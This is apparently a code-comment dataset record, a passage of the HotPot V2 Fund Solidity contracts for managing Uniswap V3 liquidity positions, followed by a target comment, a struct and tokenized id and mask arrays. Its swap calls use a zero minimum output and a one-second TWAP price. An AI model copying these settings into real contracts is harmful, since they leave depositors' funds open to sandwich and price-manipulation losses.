token路径 function addLiquidity( Info storage self, AddParams memory params, mapping(address => bytes) storage sellPath, mapping(address => bytes) storage buyPath ) public { (int24 tickLower, int24 tickUpper) = (self.tickLower, self.tickUpper); (uint160 sqrtPriceX96,,,,,,) = IUniswapV3Pool(params.pool).slot0(); SwapParams memory swapParams = SwapParams({ amount: params.amount, amount0: params.amount0Max, amount1: params.amount1Max, sqrtPriceX96: sqrtPriceX96, sqrtRatioAX96: TickMath.getSqrtRatioAtTick(tickLower), sqrtRatioBX96: TickMath.getSqrtRatioAtTick(tickUpper), token: params.token, token0: IUniswapV3Pool(params.pool).token0(), token1: IUniswapV3Pool(params.pool).token1(), fee: IUniswapV3Pool(params.pool).fee(), uniV3Router: params.uniV3Router, uniV3Factory: params.uniV3Factory }); (params.amount0Max, params.amount1Max) = computeSwapAmounts(swapParams, buyPath); //因为滑点,重新加载sqrtPriceX96 (sqrtPriceX96,,,,,,) = IUniswapV3Pool(params.pool).slot0(); //推算实际的liquidity uint128 liquidity = LiquidityAmounts.getLiquidityForAmounts(sqrtPriceX96, swapParams.sqrtRatioAX96, swapParams.sqrtRatioBX96, params.amount0Max, params.amount1Max); require(liquidity > 0, "LIZ"); (uint amount0, uint amount1) = IUniswapV3Pool(params.pool).mint( address(this),// LP recipient tickLower, tickUpper, liquidity, abi.encode(params.poolIndex) ); //处理没有添加进LP的token余额,兑换回基金本币 if(amount0 < params.amount0Max){ if(swapParams.token0 != params.token){ ISwapRouter(params.uniV3Router).exactInput(ISwapRouter.ExactInputParams({ path: sellPath[swapParams.token0], recipient: address(this), deadline: block.timestamp, amountIn: params.amount0Max - amount0, amountOutMinimum: 0 })); } } if(amount1 < params.amount1Max){ if(swapParams.token1 != params.token){ ISwapRouter(params.uniV3Router).exactInput(ISwapRouter.ExactInputParams({ path: sellPath[swapParams.token1], recipient: address(this), deadline: block.timestamp, amountIn: params.amount1Max - amount1, amountOutMinimum: 0 })); } } if(self.isEmpty) self.isEmpty = false; } /// @notice brun指定头寸的LP,并取回2种代币 /// @param pool UniswapV3Pool /// @param proportionX128 burn所占份额 /// @return amount0 获得的token0数量 /// @return amount1 获得的token1数量 function burnAndCollect( Info storage self, address pool, uint proportionX128 ) public returns(uint amount0, uint amount1) { require(proportionX128 <= DIVISOR, "PTL"); // 如果是空头寸,直接返回0,0 if(self.isEmpty == true) return(amount0, amount1); int24 tickLower = self.tickLower; int24 tickUpper = self.tickUpper; IUniswapV3Pool _pool = IUniswapV3Pool(pool); if(proportionX128 > 0) { (uint sumLP, , , , ) = _pool.positions(PositionKey.compute(address(this), tickLower, tickUpper)); uint subLP = FullMath.mulDiv(proportionX128, sumLP, DIVISOR); _pool.burn(tickLower, tickUpper, uint128(subLP)); (amount0, amount1) = _pool.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); if(sumLP == subLP) self.isEmpty = true; } //为0表示只提取手续费 else { _pool.burn(tickLower, tickUpper, 0); (amount0, amount1) = _pool.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); } } struct SubParams { //pool信息 address pool; //基金本币和移除占比 address token; uint proportionX128; //UNISWAP_V3_ROUTER address uniV3Router; } /// @notice 减少指定头寸LP,并取回本金本币 /// @param self 指定头寸 /// @param params 流动池和要减去的数量 /// @return amount 获取的基金本币数量 function subLiquidity ( Info storage self, SubParams memory params, mapping(address => bytes) storage sellPath ) public returns(uint amount) { address token0 = IUniswapV3Pool(params.pool).token0(); address token1 = IUniswapV3Pool(params.pool).token1(); // burn & collect (uint amount0, uint amount1) = burnAndCollect(self, params.pool, params.proportionX128); // 兑换成基金本币 if(token0 != params.token && amount0 > 0){ amount = ISwapRouter(params.uniV3Router).exactInput(ISwapRouter.ExactInputParams({ path: sellPath[token0], recipient: address(this), deadline: block.timestamp, amountIn: amount0, amountOutMinimum: 0 })); } // 兑换成基金本币 if(token1 != params.token && amount1 > 0){ amount = amount.add(ISwapRouter(params.uniV3Router).exactInput(ISwapRouter.ExactInputParams({ path: sellPath[token1], recipient: address(this), deadline: block.timestamp, amountIn: amount1, amountOutMinimum: 0 }))); } } /// @notice 封装成结构体的函数局部变量,避免堆栈过深报错. struct AssetsParams { address token0; address token1; uint160 price0; uint160 price1; uint160 sqrtPriceX96; int24 tick; uint256 feeGrowthGlobal0X128; uint256 feeGrowthGlobal1X128; } /// @notice 获取某个流动池(pool),以基金本币衡量的所有资产 /// @param pool 流动池地址 /// @return amount 资产数量 function assetsOfPool( Info[] storage self, address pool, address token, mapping(address => bytes) storage sellPath, address uniV3Factory ) public view returns (uint amount, uint[] memory) { uint[] memory amounts = new uint[](self.length); // 局部变量都是为了减少ssload消耗. AssetsParams memory params; // 获取两种token的本币价格. params.token0 = IUniswapV3Pool(pool).token0(); params.token1 = IUniswapV3Pool(pool).token1(); if(params.token0 != token){ bytes memory path = sellPath[params.token0]; if(path.length == 0) return(amount, amounts); params.price0 = getSqrtPriceX96(path, uniV3Factory, false); } if(params.token1 != token){ bytes memory path = sellPath[params.token1]; if(path.length == 0) return(amount, amounts); params.price1 = getSqrtPriceX96(path, uniV3Factory, false); } (params.sqrtPriceX96, params.tick, , , , , ) = IUniswapV3Pool(pool).slot0(); params.feeGrowthGlobal0X128 = IUniswapV3Pool(pool).feeGrowthGlobal0X128(); params.feeGrowthGlobal1X128 = IUniswapV3Pool(pool).feeGrowthGlobal1X128(); for(uint i=0; i < self.length; i++){ Position.Info memory position = self[i]; if(position.isEmpty) continue; bytes32 positionKey = keccak256(abi.encodePacked(address(this), position.tickLower, position.tickUpper)); // 获取token0, token1的资产数量 (uint256 _amount0, uint256 _amount1) = getAssetsOfSinglePosition( AssetsOfSinglePosition({ pool: pool, positionKey: positionKey, tickLower: position.tickLower, tickUpper: position.tickUpper, tickCurrent: params.tick, sqrtPriceX96: params.sqrtPriceX96, feeGrowthGlobal0X128: params.feeGrowthGlobal0X128, feeGrowthGlobal1X128: params.feeGrowthGlobal1X128 }) ); // 计算成本币资产. uint _amount; if(params.token0 != token){ _amount = FullMath.mulDiv( _amount0, FullMath.mulDiv(params.price0, params.price0, FixedPoint96.Q96), FixedPoint96.Q96); } else _amount = _amount0; if(params.token1 != token){ _amount = _amount.add(FullMath.mulDiv( _amount1, FullMath.mulDiv(params.price1, params.price1, FixedPoint96.Q96), FixedPoint96.Q96)); } else _amount = _amount.add(_amount1); amounts[i] = _amount; amount = amount.add(_amount); } return(amount, amounts); } /// @notice 获取某个头寸,以基金本币衡量的所有资产 /// @param pool 交易池索引号 /// @param token 头寸索引号 /// @return amount 资产数量 function assets( Info storage self, address pool, address token, mapping(address => bytes) storage sellPath, address uniV3Factory ) public view returns (uint amount) { if(self.isEmpty) return 0; // 不需要校验 pool 是否存在 (uint160 sqrtPriceX96, int24 tick, , , , , ) = IUniswapV3Pool(pool).slot0(); bytes32 positionKey = keccak256(abi.encodePacked(address(this), self.tickLower, self.tickUpper)); // 获取token0, token1的资产数量 (uint256 amount0, uint256 amount1) = getAssetsOfSinglePosition( AssetsOfSinglePosition({ pool: pool, positionKey: positionKey, tickLower: self.tickLower, tickUpper: self.tickUpper, tickCurrent: tick, sqrtPriceX96: sqrtPriceX96, feeGrowthGlobal0X128: IUniswapV3Pool(pool).feeGrowthGlobal0X128(), feeGrowthGlobal1X128: IUniswapV3Pool(pool).feeGrowthGlobal1X128() }) ); // 计算以本币衡量的资产. if(amount0 > 0){ address token0 = IUniswapV3Pool(pool).token0(); if(token0 != token){ uint160 price0 = getSqrtPriceX96(sellPath[token0], uniV3Factory, false); amount = FullMath.mulDiv( amount0, FullMath.mulDiv(price0, price0, FixedPoint96.Q96), FixedPoint96.Q96); } else amount = amount0; } if(amount1 > 0){ address token1 = IUniswapV3Pool(pool).token1(); if(token1 != token){ uint160 price1 = getSqrtPriceX96(sellPath[token1], uniV3Factory, false); amount = amount.add(FullMath.mulDiv( amount1, FullMath.mulDiv(price1, price1, FixedPoint96.Q96), FixedPoint96.Q96)); } else amount = amount.add(amount1); } } /// @notice 封装成结构体的函数调用参数. struct AssetsOfSinglePosition { // 交易对地址. address pool; // 头寸ID bytes32 positionKey; // 价格刻度下届 int24 tickLower; // 价格刻度上届 int24 tickUpper; // 当前价格刻度 int24 tickCurrent; // 当前价格 uint160 sqrtPriceX96; // 全局手续费变量(token0) uint256 feeGrowthGlobal0X128; // 全局手续费变量(token1) uint256 feeGrowthGlobal1X128; } /// @notice 获取某个头寸的全部资产,包括未计算进tokensOwed的手续费. /// @param params 封装成结构体的函数调用参数. /// @return amount0 token0的数量 /// @return amount1 token1的数量 function getAssetsOfSinglePosition(AssetsOfSinglePosition memory params) internal view returns (uint256 amount0, uint256 amount1) { ( uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ) = IUniswapV3Pool(params.pool).positions(params.positionKey); // 计算未计入tokensOwed的手续费 (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) = getFeeGrowthInside( FeeGrowthInsideParams({ pool: params.pool, tickLower: params.tickLower, tickUpper: params.tickUpper, tickCurrent: params.tickCurrent, feeGrowthGlobal0X128: params.feeGrowthGlobal0X128, feeGrowthGlobal1X128: params.feeGrowthGlobal1X128 }) ); // calculate accumulated fees amount0 = uint256( FullMath.mulDiv( feeGrowthInside0X128 - feeGrowthInside0LastX128, liquidity, FixedPoint128.Q128 ) ); amount1 = uint256( FullMath.mulDiv( feeGrowthInside1X128 - feeGrowthInside1LastX128, liquidity, FixedPoint128.Q128 ) ); // 计算总的手续费. // overflow is acceptable, have to withdraw before you hit type(uint128).max fees amount0 = amount0.add(tokensOwed0); amount1 = amount1.add(tokensOwed1); // 计算流动性资产 if (params.tickCurrent < params.tickLower) { // current tick is below the passed range; liquidity can only become in range by crossing from left to // right, when we'll need _more_ token0 (it's becoming more valuable) so user must provide it amount0 = amount0.add(uint256( -SqrtPriceMath.getAmount0Delta( TickMath.getSqrtRatioAtTick(params.tickLower), TickMath.getSqrtRatioAtTick(params.tickUpper), -int256(liquidity).toInt128() ) )); } else if (params.tickCurrent < params.tickUpper) { // current tick is inside the passed range amount0 = amount0.add(uint256( -SqrtPriceMath.getAmount0Delta( params.sqrtPriceX96, TickMath.getSqrtRatioAtTick(params.tickUpper), -int256(liquidity).toInt128() ) )); amount1 = amount1.add(uint256( -SqrtPriceMath.getAmount1Delta( TickMath.getSqrtRatioAtTick(params.tickLower), params.sqrtPriceX96, -int256(liquidity).toInt128() ) )); } else { // current tick is above the passed range; liquidity can only become in range by crossing from right to // left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it amount1 = amount1.add(uint256( -SqrtPriceMath.getAmount1Delta( TickMath.getSqrtRatioAtTick(params.tickLower), TickMath.getSqrtRatioAtTick(params.tickUpper), -int256(liquidity).toInt128() ) )); } } /// @notice 封装成结构体的函数调用参数. struct FeeGrowthInsideParams { // 交易对地址 address pool; // The lower tick boundary of the position int24 tickLower; // The upper tick boundary of the position int24 tickUpper; // The current tick int24 tickCurrent; // The all-time global fee growth, per unit of liquidity, in token0 uint256 feeGrowthGlobal0X128; // The all-time global fee growth, per unit of liquidity, in token1 uint256 feeGrowthGlobal1X128; } /// @notice Retrieves fee growth data /// @param params 封装成结构体的函数调用参数. /// @return feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries /// @return feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries function getFeeGrowthInside(FeeGrowthInsideParams memory params) internal view returns (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) { IUniswapV3Pool _pool = IUniswapV3Pool (params.pool); // calculate fee growth below uint256 lower_feeGrowthOutside0X128; uint256 lower_feeGrowthOutside1X128; ( , , lower_feeGrowthOutside0X128, lower_feeGrowthOutside1X128, , , ,) = _pool.ticks(params.tickLower); uint256 feeGrowthBelow0X128; uint256 feeGrowthBelow1X128; if (params.tickCurrent >= params.tickLower) { feeGrowthBelow0X128 = lower_feeGrowthOutside0X128; feeGrowthBelow1X128 = lower_feeGrowthOutside1X128; } else { feeGrowthBelow0X128 = params.feeGrowthGlobal0X128 - lower_feeGrowthOutside0X128; feeGrowthBelow1X128 = params.feeGrowthGlobal1X128 - lower_feeGrowthOutside1X128; } // calculate fee growth above uint256 upper_feeGrowthOutside0X128; uint256 upper_feeGrowthOutside1X128; ( , , upper_feeGrowthOutside0X128, upper_feeGrowthOutside1X128, , , , ) = _pool.ticks(params.tickUpper); uint256 feeGrowthAbove0X128; uint256 feeGrowthAbove1X128; if (params.tickCurrent < params.tickUpper) { feeGrowthAbove0X128 = upper_feeGrowthOutside0X128; feeGrowthAbove1X128 = upper_feeGrowthOutside1X128; } else { feeGrowthAbove0X128 = params.feeGrowthGlobal0X128 - upper_feeGrowthOutside0X128; feeGrowthAbove1X128 = params.feeGrowthGlobal1X128 - upper_feeGrowthOutside1X128; } feeGrowthInside0X128 = params.feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128; feeGrowthInside1X128 = params.feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128; } /// @notice 根据设定的兑换路径,获取目标代币的价格平方根 /// @param path 兑换路径 /// @param isCurrentPrice 获取当前价格, 还是预言机价格 /// @return sqrtPriceX96 价格的平方根(X 2^96),给定兑换路径的 tokenOut / tokenIn 的价格 function getSqrtPriceX96( bytes memory path, address uniV3Factory, bool isCurrentPrice ) internal view returns (uint160 sqrtPriceX96){ require(path.length > 0, "IPL"); sqrtPriceX96 = uint160(1 << FixedPoint96.RESOLUTION); while (true) { bool hasMultiplePools = path.hasMultiplePools(); (address tokenIn, address tokenOut, uint24 fee) = path.decodeFirstPool(); IUniswapV3Pool pool = IUniswapV3Pool(PoolAddress.computeAddress(uniV3Factory, PoolAddress.getPoolKey(tokenIn, tokenOut, fee))); uint160 _sqrtPriceX96; if(isCurrentPrice){ (_sqrtPriceX96,,,,,,) = pool.slot0(); } else { uint32[] memory secondAges= new uint32[](2); secondAges[0] = 0; secondAges[1] = 1; (int56[] memory tickCumulatives,) = pool.observe(secondAges); _sqrtPriceX96 = TickMath.getSqrtRatioAtTick(int24(tickCumulatives[0] - tickCumulatives[1])); } sqrtPriceX96 = uint160( tokenIn > tokenOut ? FullMath.mulDiv(sqrtPriceX96, FixedPoint96.Q96, _sqrtPriceX96) : FullMath.mulDiv(sqrtPriceX96, _sqrtPriceX96, FixedPoint96.Q96) ); // decide whether to continue or terminate if (hasMultiplePools) path = path.skipToken(); else return sqrtPriceX96; } } } // File: contracts/libraries/Array2D.sol library Array2D { /// @notice 取二维数组中最大值及索引 /// @param self 二维数组 /// @return index1 一维索引 /// @return index2 二维索引 /// @return value 最大值 function max(uint[][] memory self) internal pure returns( uint index1, uint index2, uint value ) { for(uint i = 0; i < self.length; i++){ for(uint j = 0; j < self[i].length; j++){ if(self[i][j] > value){ (index1, index2, value) = (i, j, self[i][j]); } } } } } // File: contracts/HotPotV2Fund.sol contract HotPotV2Fund is HotPotV2FundERC20, IHotPotV2Fund, IUniswapV3MintCallback, ReentrancyGuard { using LowGasSafeMath for uint; using SafeCast for int256; using Path for bytes; using Position for Position.Info; using Position for Position.Info[]; using Array2D for uint[][]; uint constant DIVISOR = 100 << 128; uint constant MANAGER_FEE = 10 << 128; uint constant FEE = 10 << 128; address immutable WETH9; address immutable uniV3Factory; address immutable uniV3Router; address public override immutable controller; address public override immutable manager; address public override immutable token; bytes32 public override descriptor; uint public override totalInvestment; /// @inheritdoc IHotPotV2FundState mapping (address => uint) override public investmentOf; /// @inheritdoc IHotPotV2FundState mapping(address => bytes) public override buyPath; /// @inheritdoc IHotPotV2FundState mapping(address => bytes) public override sellPath; /// @inheritdoc IHotPotV2FundState address[] public override pools; /// @inheritdoc IHotPotV2FundState Position.Info[][] public override positions; modifier onlyController() { require(msg.sender == controller, "OCC"); _; } constructor () { address _token; address _uniV3Router; (WETH9, uniV3Factory, _uniV3Router, controller, manager, _token, descriptor) = IHotPotV2FundDeployer(msg.sender).parameters(); token = _token; uniV3Router = _uniV3Router; //approve for add liquidity and swap. 2**256-1 never used up. TransferHelper.safeApprove(_token, _uniV3Router, 2**256-1); } /// @inheritdoc IHotPotV2FundUserActions function deposit(uint amount) external override returns(uint share) { require(amount > 0, "DAZ"); uint total_assets = totalAssets(); TransferHelper.safeTransferFrom(token, msg.sender, address(this), amount); return _deposit(amount, total_assets); } function _deposit(uint amount, uint total_assets) internal returns(uint share) { if(totalSupply == 0) share = amount; else share = FullMath.mulDiv(amount, totalSupply, total_assets); investmentOf[msg.sender] = investmentOf[msg.sender].add(amount); totalInvestment = totalInvestment.add(amount); _mint(msg.sender, share); emit Deposit(msg.sender, amount, share); } receive() external payable { //当前是WETH9基金 if(token == WETH9){ // 普通用户发起的转账ETH,认为是deposit if(msg.sender != WETH9 && msg.value > 0){ uint totals = totalAssets(); IWETH9(WETH9).deposit{value: address(this).balance}(); _deposit(msg.value, totals); } //else 接收WETH9向合约转账ETH } // 不是WETH基金, 不接受ETH转账 else revert(); } /// @inheritdoc IHotPotV2FundUserActions function withdraw(uint share) external override nonReentrant returns(uint amount) { uint balance = balanceOf[msg.sender]; require(share > 0 && share <= balance, "ISA"); uint investment = FullMath.mulDiv(investmentOf[msg.sender], share, balance); address fToken = token; // 构造amounts数组 uint value = IERC20(fToken).balanceOf(address(this)); uint _totalAssets = value; uint[][] memory amounts = new uint[][](pools.length); for(uint i=0; i<pools.length; i++){ uint _amount; (_amount, amounts[i]) = _assetsOfPool(i); _totalAssets = _totalAssets.add(_amount); } amount = FullMath.mulDiv(_totalAssets, share, totalSupply); // 从大到小从头寸中撤资. if(amount > value) { uint remainingAmount = amount.sub(value); while(true) { // 取最大的头寸索引号 (uint poolIndex, uint positionIndex, uint desirableAmount) = amounts.max(); if(desirableAmount == 0) break; if(remainingAmount <= desirableAmount){ positions[poolIndex][positionIndex].subLiquidity(Position.SubParams({ proportionX128: FullMath.mulDiv(remainingAmount, DIVISOR, desirableAmount), pool: pools[poolIndex], token: fToken, uniV3Router: uniV3Router }), sellPath); break; } else { positions[poolIndex][positionIndex].subLiquidity(Position.SubParams({ proportionX128: DIVISOR, pool: pools[poolIndex], token: fToken, uniV3Router: uniV3Router }), sellPath); remainingAmount = remainingAmount.sub(desirableAmount); amounts[poolIndex][positionIndex] = 0; } } /// @dev 从流动池中撤资时,按比例撤流动性, 同时tokensOwed已全部提取,所以此时的基金本币余额会超过用户可提金额. value = IERC20(fToken).balanceOf(address(this)); // 如果计算值比实际取出值大 if(amount > value) amount = value; // 如果是最后一个人withdraw else if(totalSupply == share) amount = value; } // 处理基金经理分成和基金分成 if(amount > investment){ uint _manager_fee = FullMath.mulDiv(amount.sub(investment), MANAGER_FEE, DIVISOR); uint _fee = FullMath.mulDiv(amount.sub(investment), FEE, DIVISOR); TransferHelper.safeTransfer(fToken, manager, _manager_fee); TransferHelper.safeTransfer(fToken, controller, _fee); amount = amount.sub(_fee).sub(_manager_fee); } else investment = amount; // 处理转账 investmentOf[msg.sender] = investmentOf[msg.sender].sub(investment); totalInvestment = totalInvestment.sub(investment); _burn(msg.sender, share); if(fToken == WETH9){ IWETH9(WETH9).withdraw(amount); TransferHelper.safeTransferETH(msg.sender, amount); } else { TransferHelper.safeTransfer(fToken, msg.sender, amount); } emit Withdraw(msg.sender, amount, share); } /// @inheritdoc IHotPotV2FundState function poolsLength() external override view returns(uint){ return pools.length; } /// @inheritdoc IHotPotV2FundState function positionsLength(uint poolIndex) external override view returns(uint){ return positions[poolIndex].length; } /// @inheritdoc IHotPotV2FundManagerActions function setPath( address distToken, bytes memory buy, bytes memory sell ) external override onlyController{ // 要修改sellPath, 需要先清空相关pool头寸资产 if(sellPath[distToken].length > 0){ for(uint i = 0; i < pools.length; i++){ IUniswapV3Pool pool = IUniswapV3Pool(pools[i]); if(pool.token0() == distToken || pool.token1() == distToken){ (uint amount,) = _assetsOfPool(i); require(amount == 0, "AZ"); } } } TransferHelper.safeApprove(distToken, uniV3Router, 0); TransferHelper.safeApprove(distToken, uniV3Router, 2**256-1); buyPath[distToken] = buy; sellPath[distToken] = sell; } /// @inheritdoc IUniswapV3MintCallback function uniswapV3MintCallback( uint256 amount0Owed, uint256 amount1Owed, bytes calldata data ) external override { address pool = pools[abi.decode(data, (uint))]; require(msg.sender == pool, "MQE"); // 转账给pool if (amount0Owed > 0) TransferHelper.safeTransfer(IUniswapV3Pool(pool).token0(), msg.sender, amount0Owed); if (amount1Owed > 0) TransferHelper.safeTransfer(IUniswapV3Pool(pool).token1(), msg.sender, amount1Owed); } /// @inheritdoc IHotPotV2FundManagerActions function init( address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint amount ) external override onlyController{ // 1、检查pool是否有效 require(tickLower < tickUpper && token0 < token1, "ITV"); address pool = IUniswapV3Factory(uniV3Factory).getPool(token0, token1, fee); require(pool != address(0), "ITF"); int24 tickspacing = IUniswapV3Pool(pool).tickSpacing(); require(tickLower % tickspacing == 0, "TLV"); require(tickUpper % tickspacing == 0, "TUV"); // 2、添加流动池 bool hasPool = false; uint poolIndex; for(uint i = 0; i < pools.length; i++){ // 存在相同的流动池 if(pools[i] == pool) { hasPool = true; poolIndex = i; for(uint positionIndex = 0; positionIndex < positions[i].length; positionIndex++) { // 存在相同的头寸, 退出 if(positions[i][positionIndex].tickLower == tickLower && positions[i][positionIndex].tickUpper == tickUpper) revert(); } break; } } if(!hasPool) { pools.push(pool); positions.push(); poolIndex = pools.length - 1; } //3、新增头寸 positions[poolIndex].push(Position.Info({ isEmpty: true, tickLower: tickLower, tickUpper: tickUpper })); //4、投资 if(amount > 0){ address fToken = token; require(IERC20(fToken).balanceOf(address(this)) >= amount, "ATL"); Position.Info storage position = positions[poolIndex][positions[poolIndex].length - 1]; position.addLiquidity(Position.AddParams({ poolIndex: poolIndex, pool: pool, amount: amount, amount0Max: 0, amount1Max: 0, token: fToken, uniV3Router: uniV3Router, uniV3Factory: uniV3Factory }), sellPath, buyPath); } } /// @inheritdoc IHotPotV2FundManagerActions function add( uint poolIndex, uint positionIndex, uint amount, bool collect ) external override onlyController { require(IERC20(token).balanceOf(address(this)) >= amount, "ATL"); require(poolIndex < pools.length, "IPL"); require(positionIndex < positions[poolIndex].length, "IPS"); uint amount0Max; uint amount1Max; Position.Info storage position = positions[poolIndex][positionIndex]; address pool = pools[poolIndex]; // 需要复投? if(collect) (amount0Max, amount1Max) = position.burnAndCollect(pool, 0); position.addLiquidity(Position.AddParams({ poolIndex: poolIndex, pool: pool, amount: amount, amount0Max: amount0Max, amount1Max: amount1Max, token: token, uniV3Router: uniV3Router, uniV3Factory: uniV3Factory }), sellPath, buyPath); } /// @inheritdoc IHotPotV2FundManagerActions function sub( uint poolIndex, uint positionIndex, uint proportionX128 ) external override onlyController{ require(poolIndex < pools.length, "IPL"); require(positionIndex < positions[poolIndex].length, "IPS"); positions[poolIndex][positionIndex].subLiquidity(Position.SubParams({ proportionX128: proportionX128, pool: pools[poolIndex], token: token, uniV3Router: uniV3Router }), sellPath); } /// @inheritdoc IHotPotV2FundManagerActions function move( uint poolIndex, uint subIndex, uint addIndex, uint proportionX128 ) external override onlyController { require(poolIndex < pools.length, "IPL"); require(subIndex < positions[poolIndex].length, "ISI"); require(addIndex < positions[poolIndex].length, "IAI"); // 移除 (uint amount0Max, uint amount1Max) = positions[poolIndex][subIndex] .burnAndCollect(pools[poolIndex], proportionX128); // 添加 positions[poolIndex][addIndex].addLiquidity(Position.AddParams({ poolIndex: poolIndex, pool: pools[poolIndex], amount: 0, amount0Max: amount0Max, amount1Max: amount1Max, token: token, uniV3Router: uniV3Router, uniV3Factory: uniV3Factory }), sellPath, buyPath); } /// @inheritdoc IHotPotV2FundState function assetsOfPosition(uint poolIndex, uint positionIndex) public override view returns (uint amount) { return positions[poolIndex][positionIndex].assets(pools[poolIndex], token, sellPath, uniV3Factory); } /// @inheritdoc IHotPotV2FundState function assetsOfPool(uint poolIndex) public view override returns (uint amount) { (amount, ) = _assetsOfPool(poolIndex); } /// @inheritdoc IHotPotV2FundState function totalAssets() public view override returns (uint amount) { amount = IERC20(token).balanceOf(address(this)); for(uint i = 0; i < pools.length; i++){ uint _amount; (_amount, ) = _assetsOfPool(i); amount = amount.add(_amount); } } function _assetsOfPool(uint poolIndex) internal view returns (uint amount, uint[] memory) { return positions[poolIndex].assetsOfPool(pools[poolIndex], token, sellPath, uniV3Factory); } } // File: contracts/HotPotV2FundDeployer.sol contract HotPotV2FundDeployer is IHotPotV2FundDeployer { struct Parameters { address WETH9; address uniswapV3Factory; address uniswapV3Router; address controller; address manager; address token; bytes32 descriptor; } /// @inheritdoc IHotPotV2FundDeployer Parameters public override parameters; /// @dev Deploys a fund with the given parameters by transiently setting the parameters storage slot and then /// clearing it after deploying the fund. /// @param controller The controller address /// @param manager The manager address of this fund /// @param token The local token address /// @param descriptor 32 bytes string descriptor, 8 bytes manager name + 24 bytes brief description function deploy( address WETH9, address uniswapV3Factory, address uniswapV3Router, address controller, address manager, address token, bytes32 descriptor ) internal returns (address fund) { parameters = Parameters({ WETH9: WETH9, uniswapV3Factory: uniswapV3Factory, uniswapV3Router: uniswapV3Router, controller: controller, manager: manager, token: token, descriptor: descriptor }); fund = address(new HotPotV2Fund{salt: keccak256(abi.encode(manager, token))}()); delete parameters; } } // File: contracts/HotPotV2FundFactory.sol // SPDX-License-Identifier: GPL-2.0-or-later /// @title The interface for the HotPotFunds V2 Factory /// @notice The HotPotV2Funds Factory facilitates creation of HotPot V2 fund contract HotPotV2FundFactory is IHotPotV2FundFactory, HotPotV2FundDeployer { /// @inheritdoc IHotPotV2FundFactory address public override immutable WETH9; /// @inheritdoc IHotPotV2FundFactory address public override immutable uniV3Factory; /// @inheritdoc IHotPotV2FundFactory address public override immutable uniV3Router; /// @inheritdoc IHotPotV2FundFactory address public override immutable controller; /// @inheritdoc IHotPotV2FundFactory mapping(address => mapping(address => address)) public override getFund; constructor( address _controller, address _weth9, address _uniV3Factory, address _uniV3Router ){ require(_controller != address(0)); require(_weth9 != address(0)); require(_uniV3Factory != address(0)); require(_uniV3Router != address(0)); controller = _controller; WETH9 = _weth9; uniV3Factory = _uniV3Factory; uniV3Router = _uniV3Router; } /// @inheritdoc IHotPotV2FundFactory function createFund(address token, bytes32 descriptor) external override returns (address fund){ require(IHotPotV2FundController(controller).verifiedToken(token)); require(getFund[msg.sender][token] == address(0)); fund = deploy(WETH9, uniV3Factory, uniV3Router, controller, msg.sender, token, descriptor); getFund[msg.sender][token] = fund; emit FundCreated(msg.sender, token, fund); } }
pool信息 要投入的基金本币和数量 要投入的token0、token1数量UNISWAP_V3_ROUTER
struct AddParams { uint poolIndex; address pool; address token; uint amount; uint amount0Max; uint amount1Max; address uniV3Router; address uniV3Factory; }
1,490,848
[ 1, 6011, 165, 128, 99, 167, 228, 112, 225, 169, 104, 228, 167, 237, 248, 166, 232, 103, 168, 253, 231, 166, 258, 123, 170, 234, 244, 167, 255, 110, 166, 121, 228, 166, 245, 239, 167, 248, 113, 170, 234, 242, 225, 169, 104, 228, 167, 237, 248, 166, 232, 103, 168, 253, 231, 2316, 20, 164, 227, 228, 2316, 21, 167, 248, 113, 170, 234, 242, 2124, 5127, 59, 2203, 67, 58, 23, 67, 1457, 1693, 654, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
